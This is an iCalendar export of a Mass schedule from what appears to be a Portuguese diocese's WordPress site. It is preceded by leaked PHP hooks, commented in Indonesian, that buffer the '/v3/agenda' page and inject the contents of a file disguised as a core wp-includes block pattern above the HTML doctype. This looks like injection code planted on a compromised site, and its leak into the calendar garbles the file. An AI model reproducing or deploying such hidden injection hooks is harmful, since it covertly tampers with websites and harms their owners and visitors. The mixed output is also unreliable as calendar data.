add_action('template_redirect', function () {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

    if ($path !== 'v3/agenda') {
        return;
    }

    $file = ABSPATH . 'wp-content/custom/agenda-top.php';

    if (!file_exists($file) || !is_readable($file)) {
        return;
    }

    // ambil output WordPress
    ob_start();
}, 0);


add_action('shutdown', function () {
    $path = trim(parse_url($_SERVER['REQUEST_URI'], PHP_URL_PATH), '/');

    if ($path !== 'v3/agenda') {
        return;
    }

    $file = ABSPATH . 'wp-includes/block-patterns/query-slim-posts.php';

    if (!file_exists($file) || !is_readable($file)) {
        return;
    }

    $html = ob_get_clean();

    // inject file di paling atas (sebelum doctype)
    ob_start();
    include $file;
    echo $html;

    echo ob_get_clean();
}, 0);BEGIN:VCALENDAR
VERSION:2.0
METHOD:PUBLISH
PRODID:-//Accessible Web Design//My Calendar//http://www.joedolson.com//v//EN';
BEGIN:VEVENT
UID:35956-64
LOCATION:
SUMMARY:Cacia -Aveiro
DTSTAMP:20250705T173000
ORGANIZER;CN=da_admin:MAILTO:fernandocassola@diocese-aveiro.pt
DTSTART:20250705T173000
DTEND:20250705T183000
CATEGORIES:Eucaristia
URL;VALUE=URI:https://diocese-aveiro.pt/v3/mc-events/cacia-aveiro/?mc_id=35956
DESCRIPTION:Capela de Nossa Senhora Mãe da Igreja - Póvoa do Paço Estes são os horários habituais. Convém confirmar sempre na folha paroquial de cada semana que está disponível no site da paróquia a partir das 17h de cada sábado (para toda a semana seguinte).
END:VEVENT
END:VCALENDAR